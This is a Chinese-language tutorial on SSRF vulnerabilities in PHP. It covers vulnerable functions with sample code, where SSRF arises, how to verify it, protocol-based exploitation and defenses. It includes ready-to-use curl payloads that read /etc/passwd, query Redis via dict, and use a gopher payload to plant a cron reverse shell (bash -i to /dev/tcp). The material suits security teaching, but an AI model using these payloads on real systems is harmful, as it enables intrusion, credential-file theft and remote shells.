WEB常见漏洞之SSRF(基础原理篇)

简介: WEB常见漏洞之SSRF(基础原理篇)

0x01 漏洞概述

SSRFServer-side Request Forge )服务器端请求伪造, 由于服务端提供了从其他服务器应获取数据的功能,但没有对地址和协议等做过滤和限制。使得攻击者可以利存在缺陷的web作为代理,攻击其远程和本地的服务器。

漏洞产生相关函数

    file_get_contents()
    fsockopen()
    curl_exec()
    fopen()
    readfile()

    1.file_get_contents()

      <?php
      $url = $_GET['url'];;
      echo file_get_contents($url);
      ?>

      file_get_content函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

      2.fsockopen()

      <?php 
      function GetFile($host,$port,$link) { 
          $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
          if (!$fp) { 
              echo "$errstr (error number $errno) \n"; 
          } else { 
              $out = "GET $link HTTP/1.1\r\n"; 
              $out .= "Host: $host\r\n"; 
              $out .= "Connection: Close\r\n\r\n"; 
              $out .= "\r\n"; 
              fwrite($fp, $out); 
              $contents=''; 
              while (!feof($fp)) { 
                  $contents.= fgets($fp, 1024); 
              } 
              fclose($fp); 
              return $contents; 
          } 
      }
      ?>

      fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

      3.curl_exec()

      <?php 
      if (isset($_POST['url'])){
          $link = $_POST['url'];
          $curlobj = curl_init();// 创建新的 cURL 资源
          curl_setopt($curlobj, CURLOPT_POST, 0);
          curl_setopt($curlobj,CURLOPT_URL,$link);
          curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
          $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
          curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
          $filename = './curled/'.rand().'.txt';
          file_put_contents($filename, $result); 
          echo $result;
      }
      ?>

      curl_exec函数用于执行指定的cURL会话

      注:

      1.一般情况下PHP不会开启fopen的gopher wrapper
      2.file_get_contents的gopher协议不能URL编码
      3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
      4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
      5.curl_exec() //默认不跟踪跳转,
      6.file_get_contents() // file_get_contents支持php://input协议

      0x02 漏洞发现

      既然SSRF有这些危害,那我们要怎么发现哪里存在SSRF,发现了又怎么利用呢?接下来就好好唠唠这点。

      可以这么说,能够对外发起网络请求的地方,就可能存在SSRF漏洞,下面的内容引用了先知社区的一篇文章,文章链接在底部。

      具体可能出现SSRF的地方:

      社交分享功能:获取超链接的标题等内容进行显示
      转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
      在线翻译:给网址翻译对应网页的内容
      图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
      图片/文章收藏功能:主要网站会取URL地址中title以及文本的内容作为显示以求一个好的用户体验
      云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试
      网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
      数据库内置功能:数据库的比如mongodb的copyDatabase函数
      邮件系统:比如接收邮件服务器地址
      编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
      未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞,一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
      从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

      0x03 漏洞验证

      1.排除法:浏览器f12查看源代码看是否是在本地进行了请求


      比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞

      2.dnslog等工具进行测试,看是否访问

      可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。

      3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址

      从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址

      通过二级域名暴力猜解工具模糊猜测内网地址

      4.直接返回的Banner、title、content等信息

      5.留意bool型SSRF

      0x04 利用方式

      让服务端去访问相应的网址
      让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
      可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
      攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
      攻击内网应用程序(利用跨协议通信技术)
      判断内网主机是否存活:方法是访问看是否有端口开放
      DoS攻击(请求大文件,始终保持连接keep-alive always)

       SSRF漏洞利用的相关协议

      file:在有回显的情况下,利用 file 协议可以读取任意内容
      dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
      gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
      http/s:探测内网主机存活

      攻击运行在内网或本地的应用程序

      本地利用方式:

      1.使用file协议 file protocol (任意文件读取)


      curl -vvv "http://target/ssrf.php?url=file:///etc/passwd"

      2.使用dict协议 dict protocol (获取Redis配置信息)


      curl -vvv "http://target/ssrf.php?url=dict://127.0.0.1:6379/info"

      3.使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)


      curl -vvv "http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a*3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %0a %0d %0a %0a %0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 %0a %0a %0a %0a %0a %0d %0a %0d %0a %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16%0d %0a/var/spool/cron/ %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0asave %0d %0aquit %0d %0a"

      curl命令在SSRF漏洞有非常重要的作用,所以这里就简单介绍一下curl命令:

      curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思不带有任何参数时,curl 就是发出 GET 请求


      $ curl https://www.example.com

      上面命令向www.example.com发出 GET 请求,服务器返回的内容会在命令行输出-v参数输出通信的整个过程,用于调试。我们便可以利用-v参数进行读取文件

      使用file协议curl -v file:///etc/passwd
      使用ftp协议 curl -v "ftp://127.0.0.1:端口/info"
      使用dict协议 curl -v "dict://127.0.0.1:端口/info"
      使用gopher协议 curl -v "gopher://127.0.0.1:端口/_info"  

      0x05 漏洞防御

      1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

      2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

      3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

      4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

      5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。


      目录
      相关文章
      |
      9月前
      |
      安全 测试技术 程序员
      web渗透-文件包含漏洞
      文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
      1383 79
      web渗透-文件包含漏洞
      |
      9月前
      |
      存储 安全 前端开发
      Web渗透-文件上传漏洞-上篇
      文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
      2939 1
      Web渗透-文件上传漏洞-上篇
      |
      9月前
      |
      安全 中间件 应用服务中间件
      WEB渗透-文件上传漏洞-下篇
      本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
      748 1
      |
      9月前
      |
      存储 JavaScript 安全
      Web渗透-XSS漏洞深入及xss-labs靶场实战
      XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
      2817 1
      Web渗透-XSS漏洞深入及xss-labs靶场实战
      |
      9月前
      |
      安全 程序员 数据库连接
      web渗透-CSRF漏洞
      CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
      698 0
      web渗透-CSRF漏洞
      |
      8月前
      |
      算法 Java Go
      【GoGin】(1)上手Go Gin 基于Go语言开发的Web框架,本文介绍了各种路由的配置信息;包含各场景下请求参数的基本传入接收
      gin 框架中采用的路优酷是基于httprouter做的是一个高性能的 HTTP 请求路由器,适用于 Go 语言。它的设计目标是提供高效的路由匹配和低内存占用,特别适合需要高性能和简单路由的应用场景。
      625 4
      |
      缓存 JavaScript 前端开发
      鸿蒙5开发宝藏案例分享---Web开发优化案例分享
      本文深入解读鸿蒙官方文档中的 `ArkWeb` 性能优化技巧,从预启动进程到预渲染,涵盖预下载、预连接、预取POST等八大优化策略。通过代码示例详解如何提升Web页面加载速度,助你打造流畅的HarmonyOS应用体验。内容实用,按需选用,让H5页面快到飞起!
      |
      JavaScript 前端开发 API
      鸿蒙5开发宝藏案例分享---Web加载时延优化解析
      本文深入解析了鸿蒙开发中Web加载完成时延的优化技巧,结合官方案例与实际代码,助你提升性能。核心内容包括:使用DevEco Profiler和DevTools定位瓶颈、四大优化方向(资源合并、接口预取、图片懒加载、任务拆解)及高频手段总结。同时提供性能优化黄金准则,如首屏资源控制在300KB内、关键接口响应≤200ms等,帮助开发者实现丝般流畅体验。
      |
      前端开发 JavaScript Shell
      鸿蒙5开发宝藏案例分享---Web页面内点击响应时延分析
      本文为鸿蒙开发者整理了Web性能优化的实战案例解析,结合官方文档深度扩展。内容涵盖点击响应时延核心指标(≤100ms)、性能分析工具链(如DevTools时间线、ArkUI Trace抓取)以及高频优化场景,包括递归函数优化、网络请求阻塞解决方案和setTimeout滥用问题等。同时提供进阶技巧,如首帧加速、透明动画陷阱规避及Web组件初始化加速,并通过优化前后Trace对比展示成果。最后总结了快速定位问题的方法与开发建议,助力开发者提升Web应用性能。
      |
      JSON 开发框架 自然语言处理
      【HarmonyOS Next之旅】基于ArkTS开发(三) -> 兼容JS的类Web开发(三)
      本文主要介绍了应用开发中的三大核心内容:生命周期管理、资源限定与访问以及多语言支持。在生命周期部分,详细说明了应用和页面的生命周期函数及其触发时机,帮助开发者更好地掌控应用状态变化。资源限定与访问章节,则聚焦于资源限定词的定义、命名规则及匹配逻辑,并阐述了如何通过 `$r` 引用 JS 模块内的资源。最后,多语言支持部分讲解了如何通过 JSON 文件定义多语言资源,使用 `$t` 和 `$tc` 方法实现简单格式化与单复数格式化,为全球化应用提供便利。
      381 104